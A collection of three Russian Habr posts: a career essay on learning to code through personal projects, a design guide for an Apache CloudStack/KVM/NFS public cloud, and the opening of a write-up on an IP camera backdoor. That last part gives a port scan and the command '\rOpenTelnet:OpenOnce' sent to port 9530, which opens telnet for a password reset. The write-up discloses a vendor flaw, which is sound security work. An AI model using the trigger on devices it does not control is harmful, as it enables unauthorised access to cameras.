Руководства — хороший способ сходу взяться за новую область.


Это вам говорит 29-летний бывший сантехник, который сегодня работает на должности младшего разработчика в компании-разработчике ПО. Сменить род занятий я решил около 12 месяцев назад.

Как и большинство новоиспеченных программистов, я начал проходить обычные курсы, а затем изучать более продвинутые руководства. Основное внимание я уделял изучению PHP (единственный язык, о котором я хоть что-то слышал, когда начинал). Довольно быстро я изучил основы синтаксиса и его применение.

За 9 месяцев я прочел достаточно руководств и получил достаточно знаний и мотивации, чтобы убедить местную софтверную компанию дать мне возможность поработать у них. (Подробнее о том, как я убедил работодателя рискнуть взять меня и платить мне за то, что я буду учиться программировать, можно почитать здесь.)

В конечном счете, предложить свою кандидатуру и устроиться на работу за такое короткое время мне помогло то, что я мог показать реальные примеры сделанных проектов. Говоря о проектах, я подразумеваю СОБСТВЕННЫЕ проекты — а не то, что было скопировано из руководств.

Руководства помогут начать, но дальше нужно делать собственные проекты.


Не поймите меня неправильно: руководства — это здорово, особенно для начинающих, когда нужно изучать основы. Понятно, что качество и уровень объяснений в туториалах бывают очень разные. Но если проходить руководства одно за одним, это само по себе не превратит вас в специалиста.

Нужно создавать собственные проекты. Изучив синтаксис и разобравшись в основах применения выбранного языка, нужно — повторюсь — начинать свои проекты, без мудрых подсказок из учебника под рукой.

Обычно, когда я это говорю, мне отвечают: «Но я понятия не имею, что писать».

Ну так никто не ждет, что вы сделаете что-то крутое. У вас, скорее всего, даже нет нужных навыков — даже если стоящая идея есть.

Вот список из 500 проектов, за которые можно взяться, — там есть и примеры решений.

Можно создать что-то вроде блога, например. Да, есть тысячи руководств, в основе которых — создание блога. Возможно, в одном из них вы даже копировали код раньше. Такой проект может и не очень впечатлять, но…

Сделайте СОБСТВЕННЫЙ блог. Прежде чем браться за код, сядьте и распишите необходимые шаги, а также функции, которые будут у блога. Разберитесь, что вам нужно, и в соответствии с этим выберите, какие языки и фреймворки будете использовать. Узнайте, как установить необходимые инструменты и самостоятельно настройте среду разработки. А когда столкнетесь с проблемой или не сможете разобраться в какой-то функции, погуглите и выберите лучшее решение.

Сделайте это — и вы узнаете в 10 раз больше, чем после какого бы то ни было руководства.

Сделайте это — и один такой проект в вашем портфолио будет стоить двадцати проектов по туториалам.

Чтобы заинтересовать своим резюме работодателей, вам может понадобиться что-то еще в портфолио, но это зависит от сложности выбранного проекта. Возможно, ваш код и не будет самым лучшим, но это ВАШ код: вы сможете объяснить каждую его строчку и рассказать, как и почему вы приняли решения, реализованные в проекте.

При этом вы покажете, что умеете управлять проектом, работать самостоятельно, приобретать новые знания по мере необходимости и создавать конечный продукт. Вы овладеете несколькими ценными навыками, которые смогут заинтересовать потенциального работодателя.

Если уже год или даже полтора вы учитесь и еще не нашли работу или вам кажется, что вы не готовы, — не унывайте. И не сдавайтесь. Не нужно думать, что вам придется выложить тысячи долларов на какие-нибудь «волшебные» курсы — просто начните собственный проект, и вы удивитесь тому, насколько быстро вы вырастете как разработчик!

Все больше и больше людей устраиваются на работу сразу после freeCodeCamp — вероятно, этому как раз и помогает сделанный там упор на обучение по реальным проектам.

В конце каждого модуля рассказывается о соответствующих проектах. Затем обучающемуся предлагается найти собственные решения.

Думаю, freeCodeCamp выпускает отличных разработчиков именно благодаря тому, что там никто не держит за ручку.

Поделитесь собственным опытом обучения в комментариях?


О переводчике

Перевод статьи выполнен в Alconost.

Alconost занимается локализацией приложений, игр и сайтов на 68 языков. Переводчики-носители языка, лингвистическое тестирование, облачная платформа с API, непрерывная локализация, менеджеры проектов 24/7, любые форматы строковых ресурсов, перевод технических текстов.

Мы также делаем рекламные и обучающие видеоролики — для сайтов, продающие, имиджевые, рекламные, обучающие, тизеры, эксплейнеры, трейлеры для Google Play и App Store.

Подробнее: https://alconost.com

Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/332530/


Публичное облако в стиле AWS EC2 на базе Apache CloudStack с использованием гипервизора KVM и хранилища NFS

Четверг, 06 Июля 2017 г. 09:41 + в цитатник

logo
Apache CloudStack представляет собой универсальную платформу управления средами выполнения виртуальных машин (часто такие продукты именуются “панель управления облаком VPS”). Использование Apache CloudStack (далее, ACS) дает администратору возможность развернуть облако с требуемыми сервисами в короткий срок, а после развертывания эффективно управлять облаком в течение всего жизненного цикла. В рамках данной статьи даются рекомендации по дизайну облака, который может использоваться на практике и подходит для большинства провайдеров публичных облаков, планирующих построение публичных облачных сред малых и средних размеров, обладающих максимальной простотой администрирования и не требующих специальных знаний для отладки и обнаружения проблем. Статья не является пошаговым руководством настройки Apache CloudStack.


Статья описана в форме набора рекомендаций и соображений, которые могут быть полезны при развертывании нового облака. Данный стиль изложения навеян тем фактом, что автор планирует в скором времени развертывание нового облака по данной топологии.

Облако с описанным в статье дизайном успешно используется для оказания коммерческих услуг по аренде VPS. В рамках облака развернуто хранилище на 16 ТБ, состоящее полностью из SSD накопителей Samsung Pro 850 1TB, организованное в программный RAID6, 176 ядер Xeon E5-2670, 768 GB RAM, сеть на 256 публичных адресов.

Далее описываются предложения и замечания по организации облака, цель которого обеспечить экономически эффективное оказание услуг для сервиса аренды VPS с показателем месячной доступности (SLA) 99.7%, что допускает простой в размере 2х часов в течение месяца. В том случае, если цель — обеспечить предоставление облака с более высоким показателем доступности, то необходимо применять иные модели организации облака, которые включают различные отказоустойчивые кластерные элементы, что также может быть реализовано с помощью Apache CloudStack, но в данной статье не рассматривается.


Введение


Долгосрочный успех коммерческого облака как с практической, так и с экономической точки зрения зависит от выбранного дизайна и осознанного планирования оборудования и корректно сформированных соотношений и лимитов ресурсов облака. На стадии дизайна требуется определить какой будет инфраструктура облака и как на данной инфраструктуре будет развернут ACS. ACS позволяет создавать облака с самыми разнообразными свойствами, в зависимости от технического задания. В рамках данной статьи рассматривается создание облака со следующими свойствами:


  • все виртуальные машины находятся в едином разделяемом адресном пространстве (например, в сети /24);
  • трафик между любыми виртуальными машинами распространяется в рамках единого VLAN;
  • выделяемые адреса непосредственно назначаются на виртуальную машину (статический NAT не используется);

В рамках ACS таким свойствам удовлетворяет базовая зона (Basic Zone) с группами безопасности (Security Groups) или без них, если не требуется ограничение источников и назначений трафика для виртуальных машин.


Дополнительно, в рамках облака будут использованы простые и зарекомендовавшие себя компоненты хранилища, не требующие сложных знаний для их сопровождения, что достигается при помощи хранилища NFS.


Сеть


На первом этапе необходимо принять решение о виде и компонентах сетевой инфраструктуры облака. В рамках данного облака не заложена отказоустойчивость сетевой топологии. Для реализации данной модели облака с использованием отказоустойчивой сетевой топологии, необходимо использовать стандартные подходы к реализации надежной сетевой инфраструктуры, например, LACP, xSTP, MRP, MLAG, технологии стекирования, а также программные решения, основанные на bonding. В зависимости от выбранного поставщика сетевого оборудования могут быть рекомендованы те или иные подходы.


Для развертывания инфраструктуры будет использоваться три изолированных Ethernet-сети и три коммутатора:


  1. Сеть IPMI, которая будет использоваться для управления физическим оборудованием, что необходимо для решения инцидентов, связанных с отказом узлов и прочими нештатных ситуациями (порты 100 Mbit/s Ethernet). Данная сеть конфигурируется с использованием “серых” адресов, например, 10.0.0.0/8, поскольку обычно необходимо ограничить доступ к управляющим элементам извне для обеспечения большей безопасности.
  2. Сеть для публичного трафика “VM-VM”, “VM-потребитель”. Коммутатор с портами 1 Gbit/s Ethernet или 10 Gbit/s Ethernet, в том случае, если требуется высокая пропускная способность для виртуальных машин. Обычно портов 1 Gbit/s достаточно для оказания услуг общего назначения. Данная сеть конфигурируется с использованием публичных или серых адресов (если планируется внутреннее облако с внешним шлюзом безопасности и NAT).
  3. Сеть передачи данных для доступа к хранилищам NFS, которая обеспечивает доступ хостов виртуализации к томам виртуальных машин, снимкам, шаблонам и ISO. Данную сеть рекомендуется реализовывать с использованием портов 10 Gbit/s Ethernet или более скоростных альтернативных технологий, например, Infiniband. Сеть конфигурируется с использованием серых адресов,
    например, 176.16.0.0/12.

Необходимо отметить, что сеть для доступа к данным томов виртуальных машин должна быть высокопроизводительной, причем производительность должна определяться не только пропускной способностью, но и сквозной задержкой передачи данных (от сервера виртуализации к серверу NFS). Для оптимальных результатов рекомендуется использовать следующие решения:


  1. Коммутаторы для ЦОД, которые обрабатывают трафик в cut-through режиме, поскольку они обеспечивают наименьшую задержку, а значит каждый экземпляр VM может получить больше IOPS.
  2. Коммутаторы, использующие более скоростные протоколы передачи данных, к примеру, Infiniband 40 Gbit/s, 56 Gbit/s, которые обеспечивают не только сверхвысокую пропускную способность, но и чрезвычайно низкую задержку, практически недостижимую при использовании стандартного Ethernet оборудования. В данном случае необходимо использовать протокол IPoIB для предоставления доступа к NFS хранилищу по протоколу IP поверх Infiniband сети.
  3. Настроить поддержку jumbo-фреймов на всех устройствах.

Специальные требования к сети IPMI( 1) как таковые отсутствуют, и она может быть реализована на самом бюджетном оборудовании.


Сеть передачи данных (2) в рамках выбранной модели облака достаточно простая, поскольку ACS реализует дополнительную безопасность на уровне хостов гипервизоров за счет применения правил iptables и ebtables, что, к примеру, позволяет не настраивать на коммутаторах dhcp snooping и другие настройки, которые применяются для защиты портов при использовании физических абонентов ШПД или аппаратных серверов. Рекомендуется использовать коммутаторы, которые обеспечивают передачу данных в режиме store-and-forward и имеют большие буферы портов, что позволяет обеспечить высокое качество при передаче разнообразного сетевого трафика. Если требуется предоставлять высокий приоритет для определенных классов трафика (например, VoIP), то необходимо настроить QoS.


Физическое оборудование облака в рамках данной модели развертывания использует сеть хранения данных в качестве сети для служебного трафика, например, для получения доступа к внешним ресурсам (репозитории ПО для обновления). Для обеспечения данных функций необходим маршрутизатор с функциями NAT (NAT GW), что позволяет обеспечить необходимый уровень безопасности и изолировать физическую сеть, в которой размещены физические устройства облака, от доступа извне. Кроме того, шлюз безопасности используется для предоставления доступа к API и пользовательскому интерфейсу ACS с помощью механизма трансляции портов.


Коммутационное и маршрутизирующее оборудование должно быть управляемым и подключенным к устройствам удаленного управления электропитанием, что позволяет решать самые сложные случаи без выезда на техническую площадку (к примеру, ошибку конфигурирования, приведшую к потере связи с коммутатором).


Сетевая топология облака представлена на следующем изображении.



Хранилища


Хранилища — ключевой компонент облака, в рамках данной модели развертывания хранилища не предполагаются отказоустойчивыми, что накладывает дополнительные требования на подбор и тестирование серверного оборудования, планируемого к использованию, следует отдавать предпочтение оборудованию, выпущенному известными производителями, предоставляющими готовые решения со встроенными функциями отказоустойчивости (к примеру, специализированные решения от NetApp) или предоставляющими надежное серверное оборудование с проверенной репутацией (HP, Dell, IBM, Fujitsu, Cisco, Supermicro). В рамках облака будут использоваться хранилища, поддерживающие протокол NFSv3 (v4).


Apache CloudStack использует два вида хранилищ:


  1. Primary Storage (первичное хранилище), которое необходимо для хранения томов виртуальных машин;
  2. Secondary Storage (вторичное хранилище), которое предназначено для хранения снимков, образов, шаблонов виртуальных машин.

Необходимо тщательно осуществлять планирование данных компонентов, от их производительности и надежности работоспособность облака будет зависеть в наибольшей степени.


Дополнительно, для выполнения глобального резервного копирования хранилищ рекомендуется выделение отдельного сервера, который может использоваться для следующих целей:


  1. восстановление после катастроф;
  2. предотвращение локальных пользовательских аварий, связанных с человеческим фактором.
    Данный компонент не является внутренним, по отношению к облаку ACS, поэтому в статье далее не рассматривается.

Достоинства и недостатки при развертывании облака с использованием первичных NFS-хранилищ


NFS — широко применяемый протокол доступа к файловым системам, зарекомендовавший себя за десятилетия использования. К достоинствам NFS-хранилищ при реализации сервиса публичного облака можно отнести следующие свойства:


  1. высокая производительность хранилища, достигаемая за счет консолидации большого количества дисковых устройств в одном сервере;
  2. эффективное использование пространства хранилища, достигаемое за счет возможности продажи дискового пространства сверх реального объема за счет использования тонкого выделения при использовании формата томов QCOW2, что позволяет развивать хранилище по мере необходимости с запаздыванием;
  3. простота распределения дискового пространства между хостами виртуализации, достигаемая за счет функционирования всего пространства хранилища как единого пула;
  4. поддержка живой миграции виртуальных машин между хостами, разделяющими одно хранилище;
  5. простота администрирования.

К недостаткам же можно отнести следующие свойства:


  1. единая точка отказа для всех виртуальных машин, разделяющих хранилище;
  2. требуется тщательное планирование производительности на этапе проектирования;
  3. некоторые регламентные процедуры, требующие остановки хранилища, будут вызывать остановку всех машин, использующих данное хранилище;
  4. требуется разработка регламентных процедур наращивания свободного пространства хранилища (добавление новых дисков, сборка RAID, миграция данных между логическими томами).

Первичное хранилище


Первичное хранилище должно обеспечивать следующие важные операционные характеристики:


  1. высокую производительность для случайного доступа (IOPS);
  2. высокую пропускную способность по полосе (MB/s);
  3. высокую надежность хранения данных.

Обычно, одновременно достичь три данных свойства можно либо при использовании специализированных решений, либо при использовании гибридных (SSD+HDD) или полностью SSD хранилищ. В том случае, если хранилище проектируется с использованием программной реализации, рекомендуется использовать хранилище, которое полностью состоит из SSD накопителей с аппаратными или программными RAID 5го или 6го уровня. Также, возможно рассмотреть к применению готовые решения, например FreeNAS, NexentaStor, которые включают поддержку ZFS, что может дать дополнительные бонусы при реализации резервного копирования и включают встроенные механизмы экономии дискового пространства за счет дедупликации и сжатия данных на лету.


В том случае, если планируется использование хранилища, реализованного с помощью GNU/Linux, то рекомендуется стек хранения, который включает следующие слои:


  1. программный (Mdadm) или аппаратный RAID (LSI, Adaptec);
  2. LVM2 (поддержка масштабирования хранилища), которая позволяет реализовать принцип Pay-As-You-Go;
  3. EXT4.

По опыту автора, крайне не рекомендуется использовать Bcache, ZFS On Linux и FlashCache, если планируется использовать снимки LVM2 для осуществления резервного копирования. В долгосрочном периоде автор статьи наблюдал ошибки ядра, что приводило к отказу хранилища, требовало рестарта облака и может привести к потере пользовательских данных.

Также, крайне не рекомендуется использование BTRFS, поскольку гипервизор KVM имеет известные проблемы производительности с данной файловой системой.

Автор использует в своем облаке следующие решения для реализации первичного хранилища:


  1. Аппаратура:
    • Серверы Supermicro с HBA от LSI
    • Сетевые карты Intel x520-DA2
    • Накопители Samsung Pro 850 1TB
  2. Debian GNU/Linux 8
  3. Программный RAID5, RAID6
  4. LVM2
  5. Файловая система EXT4.

Данное решение (Mdadm/LVM2/Ext4) обеспечивает стабильную работу при использовании снимков LVM2, применяемых для выполнения резервных копий, без известных проблем стабильности. Крайне рекомендуется подключать хранилище к коммутатору сети доступа к данным посредством двух линий, объединенных в bonding-интерфейс (LACP или Master/Slave), что позволяет обеспечить не только высокую пропускную способность, но и отказоустойчивость (при использовании стеков или других технологий построения отказоустойчивых сетей рекомендуется подключение к различным устройствам).


При развертывании первичного хранилища необходимо произвести тестирование его производительности при предельных нагрузках — одновременно нагрузка четырех типов:
  1. планируемая пиковая нагрузка от VM;
  2. резервное копирование данных;
  3. восстановление большого тома пользовательской VM из резервной копии;
  4. RAID-массив в состоянии восстановления.


Процессор и память


Процессор и доступная память сервера также имеют существенное влияние для увеличения производительности первичного хранилища. Сервер NFS может активно утилизировать ядра CPU при высоких нагрузках как по IOPS так и по пропускной способности. При использовании нескольких программных RAID в рамках одного сервера, служба mdadm создает существенную нагрузку на CPU (особенно при использовании RAID5, RAID6). Рекомендуется использовать серверы с CPU Xeon E3 или Xeon E5, для лучшей производительности стоит рассмотреть сервер с двумя CPU Xeon E5. Предпочтение стоит отдавать моделям с высокой тактовой частотой, поскольку ни NFS ни mdadm не могут эффективно использовать многопоточность. Дополнительно стоит отметить, что в случае выполнения глобального резервного копирования томов с использованием Gzip-сжатия, часть ядер будет занята выполнением данных операций. Что же касается RAM, то чем больше RAM доступно на сервере тем больше ее будет использовано для буферного кэша и тем меньше операций чтения будет отправлено на дисковые устройства. В случае использования сервера NFS c ZFS, CPU и RAM могут влиять на производительность большим образом, чем в случае Mdadm/LVM2/Ext4 в связи с поддержкой сжатия данных и дедупликации на лету.


Настройки дисковой подсистемы


Помимо многочисленных настроек дисковой подсистемы, которые включают специфические настройки для RAID-контроллеров и логических массивов, упреждающего чтения, планировщика, но не ограничиваются ими, рекомендуем уменьшить время нахождения грязных данных в буфере оперативной памяти. Это позволит уменьшить ущерб в случае аварии хранилища.


Настройки службы NFS


Основные опции, которые конфигурируются при использовании NFS — размер блока передачи данных (rsize, wsize), синхронный или асинхронный режим сохранения данных на диски (sync, async) и количество экземпляров служб, которое зависит от количество клиентов NFS, то есть хостов виртуализации. Использование sync режима не рекомендуется в силу низкой производительности.


Сеть


В качестве сетевых карт для доступа к хранилищам рекомендуется применять современные сетевые карты, например, Intel X520-DA2. Оптимизация сетевого стека заключается в настройке поддержки jumbo frame и распределении прерываний сетевой карты между ядрами CPU.


Вторичное хранилище


Вторичное хранилище должно обеспечивать следующие важные характеристики:


  1. высокую линейную производительность;
  2. высокую надежность хранения данных.

Хранилище максимально утилизируется при создании снимков и конвертации снимков в шаблоны. Именно в этом случае производительность хранилища оказывает существенное влияние на продолжительность выполнения операции. Для обеспечения высокой линейной производительности хранилища рекомендованы к использованию программные и аппаратные RAID-массивы с использованием RAID10, RAID6 и серверными SATA-дисками большого объема — 3 TB и больше.


В том случае, если используется программный RAID, лучше остановить выбор на RAID10, при использовании же высокопроизводительных аппаратных контроллеров с элементом BBU возможно использование RAID5, RAID6.


В целом, требования к вторичному хранилищу не настолько критичны как к первичному, однако, в том случае, если планируется интенсивное применение снимков томов виртуальных машин, рекомендуется тщательное планирование вторичного хранилища и проведение тестов, моделирующих реальную нагрузку.


Автор использует в своем облаке следующие решения для реализации вторичного хранилища:


  1. Аппаратура:
    • Серверы Supermicro с аппаратным контроллером RAID от LSI/Adaptec
    • Сетевые карты Intel x520-DA2
    • Дисковые устройства Seagate Constellation ES.3 размером 3TB
  2. Debian GNU/Linux 8
  3. Аппаратный RAID10
  4. LVM2
  5. Файловая система EXT4

Сервер управления


Сервер управления — ключевой компонент системы Apache CloudStack, отвечающий за управление всеми функциями облака. В рамках отказоустойчивых конфигураций рекомендуется использовать несколько серверов управления, которые взаимодействуют с отказоустойчивым сервером MySQL (master-slave или mariadb galera cluster). В связи с тем, что Management Server не хранит информацию в RAM, то появляется возможность простой реализации HA с помощью репликации MySQL и нескольких управляющих серверов.


В рамках данной статьи будем считать, что используется один надежный сервер, который содержит


  1. MySQL — СУБД для хранения данных ACS;
  2. CloudStack Management Server — Java-приложение, выполняющее все функции ACS;

Для сервера управления необходимо выбрать оборудование от проверенного поставщика, которое обеспечит надежное, безотказное функционирование. Основные требования к производительности продиктованы использованием СУБД MySQL, соответственно необходима быстрая, надежная дисковая подсистема на SSD накопителях. Начальная конфигурация может выглядеть следующим образом:


  1. Сервер Supermicro Xeon E3-1230V5, 32GB RAM с IPMI
  2. Intel X520-DA2
  3. 2 x SSD Intel S3610 100GB (RAID1)
  4. 2 x Seagate Constellation ES.3 3TB (RAID1)
  5. LVM2
  6. Mdadm
  7. Ubuntu 16.04 Server

Пара SSD накопителей используется для системы, а вторая пара SATA дисков для снимков системы, дампов БД ACS, которые выполняются на регулярной основе, например, ежедневно или чаще.


В том случае, если планируется интенсивное использование API и если будет активировано S3 API, то рекомендуется использовать сервер с высокопроизводительным CPU или двумя CPU. Кроме того, в самой панели управляющего сервера ACS рекомендуется настроить ограничение на интенсивность использования API пользователями и обеспечить дополнительную защиту сервера с помощью прокси-сервера Nginx.


Топологическая организация облака Apache CloudStack


Общая топологическая структура ACS представляет собой иерархическое вложение сущностей


  1. Зона
  2. Стенд
  3. Кластер
  4. Хост

На изображении представлен пример реализации такой топологической структуры для некоторого ЦОДа dc1.


Топология ACS


Базовая зона


Зона ACS определяет набор услуг, которые предоставляет облако пользователю. Зоны бывают двух типов — Базовая (Basic) и Продвинутая (Advanced), что позволяет организовывать различные облака, предоставляющие либо основные услуги, либо более широкий спектр возможностей, включая VPN, эластичную балансировку, NAT, VPC. Базовая зона предоставляет следующие функции:


  1. управление IP-адресами и служба DHCP;
  2. служба DNS (резолвер и зона);
  3. управление паролями и ключами, устанавливаемыми в виртуальные машины;
  4. маршрутизатор (опционально);
  5. группы безопасности.

Также, возможно сконфигурировать другие сетевые предложения, с помощью которых можно создавать базовые зоны, обладающие другими свойствами, например, с внешним DHCP-сервером.


Стенд


Стенды представляют собой следующий уровень организации топологии. В зависимости от фактической организации стендом может быть как комната, так и альтернативные сущности, например, ряд, стойка. То, что понимается под стендом, определяется в первую очередь следующими факторами:


  1. количеством адресов, которые будут выделяться виртуальным машинам в рамках стенда, адреса, выделенные одному стенду не могут быть переданы другому стенду, например, при выделении стенду сети /22 (1024 адреса) необходимо обеспечить нахождение в стенде оборудования, которое сможет обслужить все данные адреса;
  2. резервирование — конкретный стенд может быть выделен для аккаунта;
  3. геометрическими соображениями;
  4. выделением доменов отказа.

Для сети из 1024 виртуальных машин вполне достаточно одного стенда, если все оборудование размещается в одной стойке, но может быть и 4, если существуют явные аргументы за разделение сети /22 на 4 x /24, например, при использовании разных устройств агрегации L3. В стенде может находиться произвольное количество кластеров, поэтому явных ограничений на планирование нет.


Кластер


Кластер определяет гипервизор, который будет использоваться для оказания услуг. Данный подход достаточно удобен, особенно в случае, если планируется использовать возможности различных гипервизоров по максимуму, например:


  1. KVM — виртуальные машины общего назначения без снимков состояния виртуальных машин, только снимки томов (AWS-like);
  2. XenServer
    • виртуальные машины с графическими ускорителями,
    • виртуальные машины с поддержкой снимков состояний и динамическим масштабированием;
  3. Hyper-V — виртуальные машины для предоставления услуг ОС Windows.

В рамках рассматриваемой модели развертывания, кластер — это элемент, на уровне которого ограничивается распространение отказа обслуживания за счет выделения первичного NFS-хранилища именно кластеру, что позволяет добиться того, что при отказе первичного хранилища отказ не распространяется за пределы кластера. Для достижения этой цели при добавлении первичного хранилища к облаку его область действия должна быть указана как Кластер, а не как Зона. Необходимо отметить, что поскольку первичное хранилище относится к кластеру, то живая миграция виртуальных машин может производиться только между хостами кластера.


Ограничения гипервизора KVM при использовании с панелью Apache CloudStack


Гипервизор KVM имеет ряд ограничений, которые могут препятствовать его внедрению, однако широкая распространенность показывает, что данные ограничения не рассматриваются большинством провайдеров как блокирующие. Основные ограничения следующие:


  1. не поддерживается динамическое масштабирование виртуальных машин, то есть для изменения количества ядер и RAM необходимо остановить машину и запустить;
  2. не поддерживаются полные снимки виртуальной машины вместе с дисками (это ограничение именно Apache CloudStack, поскольку сам QEMU/KVM поддерживает такую возможность);
  3. нет поддержки виртуальных графических ускорителей, поэтому если планируется предоставлять VDI, совместно с инфраструктурой от NVidia, то KVM не подойдет.

При планировании кластера важно исходить из конечных возможностей хранилища, которое будет использоваться с кластером. ACS позволяет использовать в рамках кластера несколько хранилищ, однако из своего опыта автор не рекомендует использовать такой вариант. Оптимальным, является подход, в рамках которого кластер проектируется как некий компромисс между потребностями и возможностями. Часто возникает желание делать кластеры слишком большими, что может приводить к тому, что домены отказа станут слишком широкими.


Проектирование кластера может производиться, исходя из понимания потребностей среднестатистической виртуальной машины. К примеру, в одном из существующих облаков пользователи, в среднем, заказывают услугу, которая выглядит как [2 ядра, 2GB RAM, 60GB SSD]. Если попробовать рассчитать требования к кластеру, исходя из объема хранилища (без учета требований к IOPS), то можно получить следующие числа:


  1. Storage 24 x 1TB SSD (RAID6 + 1HS) — 21 TB
  2. Количество экземпляров VM — 350 = 21000 / 60
  3. RAM — 700 GB = 350 x 2
  4. Cores — 700 = 350 x 2
  5. Узел 2 x Xeon E5-2699V4 / 160 GB RAM — 88 Vcores (166 с переподпиской 1 к 2)
  6. Количество узлов (+1 резервный) — 5 + 1

Итоговый кластер будет выглядеть следующим образом:


  1. Хранилище: Storage 24 x 1TB SSD (RAID6 + 1HS)
  2. Сервер виртуализации 6 x Server 2 x Xeon E5-2699V4 / 160 GB RAM

В рамках данного кластера удастся обслужить до 350 типовых виртуальных машин. Если планируется выделение ресурсов для обслуживания 1000 машин, то необходимо развертывание трех кластеров. В случае реального облака с дифференциацией по продуктам, необходим расчет, который максимально точно отражает прогноз потребностей рынка.


В примере расчета не учитывается экономическая составляющая, при реальном расчете модели CPU и объем RAM на узел следует выбирать таким образом, чтобы минимизировать срок окупаемости кластера и обеспечить качество обслуживания, согласованное с владельцем продукта.

В том случае, если суммарный размер хранилища выбран другим или пользователи приобретают VPS с меньшими или большими томами, то требования к вычислительной мощности кластера могут существенно измениться.

Сервер виртуализации


Сервер виртуализации предназначен для выполнения виртуальных машин. Конфигурация сервера виртуализации может существенно различаться от облака к облаку и зависит от типа вычислительных предложений (конфигураций VPS, доступных пользователям) и их назначения. В рамках одного кластера желательно иметь однотипные, взаимозаменяемые серверы виртуализации с совместимыми CPU (или обеспечить совместимость по младшему CPU среди всех), что позволит обеспечить живую миграцию виртуальных машин между узлами и доступность ресурсов кластера при выходе одного из узлов из строя.


В том случае, если планируется выполнение множества небольших виртуальных машин с низкой и средней нагрузкой, то желательно использовать серверы с большим количеством ядер и памяти, например, 2 x Xeon E5-2699V4 / 256GB RAM. При этом удается достичь хорошей плотности ресурсов и высокого качества обслуживания для виртуальных машин с 1, 2, 4, 8 ядрами, обычного использования (не для решения вычислительных задач) и добиться высокого качества обслуживания при существенной переподписке по CPU (в 2-8 раз). В таком случае, планирование может производиться исходя из объема RAM, а не количества ядер.


Если же планируется развертывание высокочастотных, многоядерных, высоконагруженных виртуальных машин, то необходимо выбирать серверы, которые обеспечивают необходимые ресурсы CPU. В этом случае планирование должно производиться, исходя из доступного без переподписки количества ядер, а объем оперативной памяти должен соответствовать необходимой потребности. Для примера, можно рассмотреть сервер Xeon E3-1270V5 / 64GB RAM, который может использоваться для предоставления услуг высокочастотных виртуальных машин:


  • 1 x CPU 3.6 GHz / 8 GB RAM
  • 2 x CPU 3.6 GHz / 16 GB RAM
  • 4 x CPU 3.6 GHz / 32 GB RAM
  • 8 x CPU 3.6 GHz / 64 GB RAM

Аналогично, можно рассмотреть использование серверов на базе 2 x Xeon E5V4, при этом планирование должно осуществляться аналогичным образом, исходя из фактических потребностей CPU, а не RAM.


Оптимизация RAM


Apache CloudStack позволяет осуществлять переподписку по памяти. Обычно, переподписка по памяти ведет к деградации сервиса за счет интенсивного использования разделов подкачки, однако, Linux предоставляет инструменты, которые позволяют эффективно использовать переподписку по памяти, особенно, в случае однотипных виртуальных машин. Данные механизмы — KSM, ZRAM и ZSwap, обеспечивающие дедупликацию и сжатие страниц RAM, что позволяет уменьшить объем используемой физической оперативной памяти и обеспечить высокие коэффициенты переподписки (1:2 и выше) за счет повышенной нагрузки на CPU. Кроме того, применение высокопроизводительных SSD накопителей для разделов подкачки так же может положительно повлиять на качество сервиса.


Сеть доступа к хранилищам


В качестве сетевых карт для доступа к хранилищам рекомендуется применять современные сетевые карты, например, Intel X520-DA2. Оптимизация сетевого стека заключается в настройке поддержки jumbo frame и в распределении обработки прерываний очередей сетевой карты между ядрами CPU.


Сеть передачи данных


В качестве сетевых карт для передачи пользовательских данных рекомендуется применять современные сетевые карты с поддержкой большого количества очередей и в распределении обработки прерываний очередей сетевой карты между ядрами CPU.


Настройка виртуальных мостов


Виртуальные мосты используются для организации связи виртуальных сетевых устройств виртуальных машин с физическими сетевыми устройствами. Данные мосты могут быть организованы двумя способами — посредством Linux Bridge и Open Vswitch. Apache CloudStack поддерживает обе модели, однако, Linux Bridge в рамках данной топологии является оптимальным выбором в силу простоты настройки и более высокой производительности.


Пользовательский интерфейс самообслуживания


Apache CloudStack предоставляет два интерфейса управления виртуальными машинами, доступные пользователю — интерфейс API и браузерный UI, реализованный с помощью JavaScript и jQuery. В том случае, если ожидания пользователей к интерфейсу являются высокими, то необходима переработка интерфейса UI для того, чтобы добиться соответствия высоким ожиданиям пользователей. Также, доступен альтернативный пользовательский интерфейс CloudStack-UI, который предназначен именно для провайдеров, планирующих оказание платных услуг для широкого круга пользователей с применением Apache CloudStack. Интерфейс реализован с использованием Angular v4 и Material Design Lite и распространяется в соответствии с открытой лицензией Apache v2.0.


Заключение


Продукт Apache CloudStack отлично подходит для развертывания публичного облака со стандартным набором услуг и включает все необходимые компоненты без необходимости дополнительных инженерных вложений в разработку. Использование модели развертывания с хранилищем NFS является типовым и достаточно надежным для оказания услуг с уровнем доступности 99.7% при адекватном планировании топологии облака и использовании надежного оборудования для оказания услуг. Описанная в статье модель развертывания не требует специальных знаний по обслуживанию облака, поскольку реализуется с использованием стандартных технологий, что позволяет администрировать облако без привлечения узкоспециализированных специалистов с эксклюзивными навыками.

Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/332528/


Метки:  

Ты и есть большой брат, или попробуй себя в роли всевидящего ока

Четверг, 06 Июля 2017 г. 09:12 + в цитатник


Сказка-присказка

Купил один барин дверь надежную, чугуниевую с замками на дохулиард комбинаций, но после установки скрипеть петли стали. Вызвали он специалиста сидит у себя на кухне ждет, чаи попивает, вдруг заходит к нему монтажник и говорит человеческим голосом «Ищу работу Петли смазал, иди проверяй». А барин его и вопрошает «Как вошел ты сквозь дверь чугуниевую, всю из себя сертифицированную направо и налево». Отвечает на это работник физического труда «Для того чтобы под порогом не ждать когда ты барин открыть нам изволишь, мы рукожопами сертифицированными специалистами решили кнопку сделать тайную, так что стукнешь в верхний левый угол двери, дверь то и откроется».

Брехня, подумаете Вы, так только в сказках бывает и будете в корне не правы

В данном посте убедительно и с примерами убедительно докажу, что такие разработчики существуют.

Попала мне как-то в руки IP камера из страны славящейся своим неповторимым качеством производимой техники, с паролем неизвестным, гугление по сбросу настроек привело меня к утилитке, которая сбрасывала этот пароль, а вот способ которым она это делает меня и заинтересовал.

Вот что было открыто на камере изначально.
Host is up (0.0014s latency).
Not shown: 65529 closed ports
PORT STATE SERVICE
80/tcp open http
554/tcp open rtsp
8899/tcp open ospf-lite
9527/tcp open unknown
9530/tcp open unknown
34567/tcp open unknown

WEB запаролен. CLI нет.

Запускаем tcpdump, запускаем утилиту сброса пароля.
Видим, что посылается команда \rOpenTelnet:OpenOnce на порт 9530 tcp. После чего на устройстве открывается telnet и программа идет на порт 23 и с помощью заранее предустановленных паролей сбрасывает конфигурацию в части касающейся паролей.



Попробуем все сделать вручную
1. Открываем telnet на камере
